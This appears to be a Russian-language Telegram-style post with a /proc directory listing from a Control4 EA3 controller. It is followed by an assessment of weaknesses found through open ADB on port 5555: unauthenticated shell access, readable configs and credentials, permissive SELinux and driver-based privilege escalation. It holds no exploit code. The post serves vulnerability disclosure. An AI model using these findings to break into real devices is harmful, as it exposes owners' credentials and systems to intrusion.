./proc/asound/card0/pcm0p/sub3/info
./proc/asound/card0/pcm0p/sub2
./proc/asound/card0/pcm0p/sub2/status
./proc/asound/card0/pcm0p/sub2/sw_params
./proc/asound/card0/pcm0p/sub2/hw_params
./proc/asound/card0/pcm0p/sub2/info
./proc/asound/card0/pcm0p/sub1
./proc/asound/card0/pcm0p/sub1/status
./proc/asound/card0/pcm0p/sub1/sw_params
./proc/asound/card0/pcm0p/sub1/hw_params
./proc/asound/card0/pcm0p/sub1/info
./proc/asound/card0/pcm0p/sub0
./proc/asound/card0/pcm0p/sub0/status
./proc/asound/card0/pcm0p/sub0/sw_params
./proc/asound/card0/pcm0p/sub0/hw_params
./proc/asound/card0/pcm0p/sub0/info
./proc/asound/card0/pcm0p/xrun_debug
./proc/asound/card0/pcm0p/info
./proc/asound/pcm
./proc/asound/timers
./proc/asound/cards
./proc/asound/devices
./proc/asound/version
./proc/scsi
./proc/scsi/sg
./proc/scsi/sg/version
./proc/scsi/sg/device_strs
./proc/scsi/sg/devices
./proc/scsi/sg/device_hdr
./proc/scsi/sg/def_reserved_size
./proc/scsi/sg/debug
./proc/scsi/sg/allow_dio
./proc/scsi/device_info
./proc/scsi/scsi
./proc/misc
./proc/acpi
./proc/acpi/wakeup
./proc/acpi/alarm
./proc/fb
./proc/mtrr
./proc/irq
./proc/irq/138
./proc/irq/138/c4audiosense
./proc/irq/138/spurious
./proc/irq/138/node
./proc/irq/138/smp_affinity_list
./proc/irq/138/affinity_hint
./proc/irq/138/smp_affinity
./proc/irq/44
./proc/irq/44/rx_hdmi_ce_int
./proc/irq/44/vidcap_ce4X00
./proc/irq/44/spurious
./proc/irq/44/node
./proc/irq/44/smp_affinity_list
./proc/irq/44/affinity_hint
./proc/irq/44/smp_affinity
./proc/irq/31
./proc/irq/31/Audio_DSP1_ISR
./proc/irq/31/spurious
./proc/irq/31/node
./proc/irq/31/smp_affinity_list
./proc/irq/31/affinity_hint
./proc/irq/31/smp_affinity
./proc/irq/30
./proc/irq/30/Audio_DSP0_ISR
./proc/irq/30/spurious
./proc/irq/30/node
./proc/irq/30/smp_affinity_list
./proc/irq/30/affinity_hint
./proc/irq/30/smp_affinity
./proc/irq/32
./proc/irq/32/Audio_Rend_ISR
./proc/irq/32/spurious
./proc/irq/32/node
./proc/irq/32/smp_affinity_list
./proc/irq/32/affinity_hint
./proc/irq/32/smp_affinity
./proc/irq/43
./proc/irq/43/TSOut_ISR
./proc/irq/43/spurious
./proc/irq/43/node
./proc/irq/43/smp_affinity_list
./proc/irq/43/affinity_hint
./proc/irq/43/smp_affinity
./proc/irq/29
./proc/irq/29/Demux_ISR
./proc/irq/29/spurious
./proc/irq/29/node
./proc/irq/29/smp_affinity_list
./proc/irq/29/affinity_hint
./proc/irq/29/smp_affinity
./proc/irq/28
./proc/irq/28/TSI_ISR
./proc/irq/28/spurious
./proc/irq/28/node
./proc/irq/28/smp_affinity_list
./proc/irq/28/affinity_hint
./proc/irq/28/smp_affinity
./proc/irq/26
./proc/irq/26/decode_mux_isr
./proc/irq/26/spurious
./proc/irq/26/node
-
- Итак, что тут есть?
-
- Подключились к устройству через ADB (порт 5555) и имеете ограниченный доступ к файловой системе. У вас есть доступ к /etc, /proc, /system и другим базовым каталогам, но нет доступа к защищенным областям вроде /data и /config.
- Причина:
- Устройство Control4 EA3 работает на базе Android (AOSP), а не "чистого" Linux
- ADB включен по умолчанию в AOSP для отладки
- Производитель не отключил ADB в финальной сборке для удобства поддержки
Следствие: - Нет аутентификации - любой в локальной сети может получить shell
- Доступ к системным файлам и конфигурациям
- Возможность выполнения произвольных команд
- Прямой доступ к конфигурации Control4 Composer
Файловая система и конфигурации
Причина:
- Конфиденциальные данные хранятся в открытом виде
- Нет разделения прав между системными и пользовательскими файлами
- Системные файлы с доступом для всех (chmod 777)
Следствие:
- Возможность чтения конфигурационных файлов
- Утечка учетных данных
- Возможность модификации системных файлов
Системные логи и историю команд
Причина:
- Логи хранятся в открытом виде
- История команд сохраняется без очистки
- Нет ограничений на доступ к логам
Следствие: - Возможность анализа действий администратора
- Утечка учетных данных из истории команд
- Выявление прошлых атак или ошибок конфигурации
SELinux и политики безопасности
Причина:- SELinux в режиме permissive или отключен
- Слишком широкие политики в mac_permissions.xml
- Нет ограничений на доступ к системным файлам
- Возможность повышения привилегий
- Обход ограничений безопасности
- Полный контроль над системой
Сетевые настройки и маршрутизация
Причина:- Открытые маршруты в netstat и /proc/net
- Нет ограничений на сетевой трафик
- Открытые порты для неизвестных сервисов
- Возможность перенаправления трафика
- Утечка информации через сеть
- Возможность атак через сеть
Системные файлы и драйверы
Причина:- Драйверы с уязвимостями
- Нет обновлений драйверов
- Открытые системные файлы
- Возможность эксплуатации драйверов
- Повышение привилегий
- Полный контроль над системой
👍39
❤️9
🔥3
🤔6
😢7
💯4
LIMB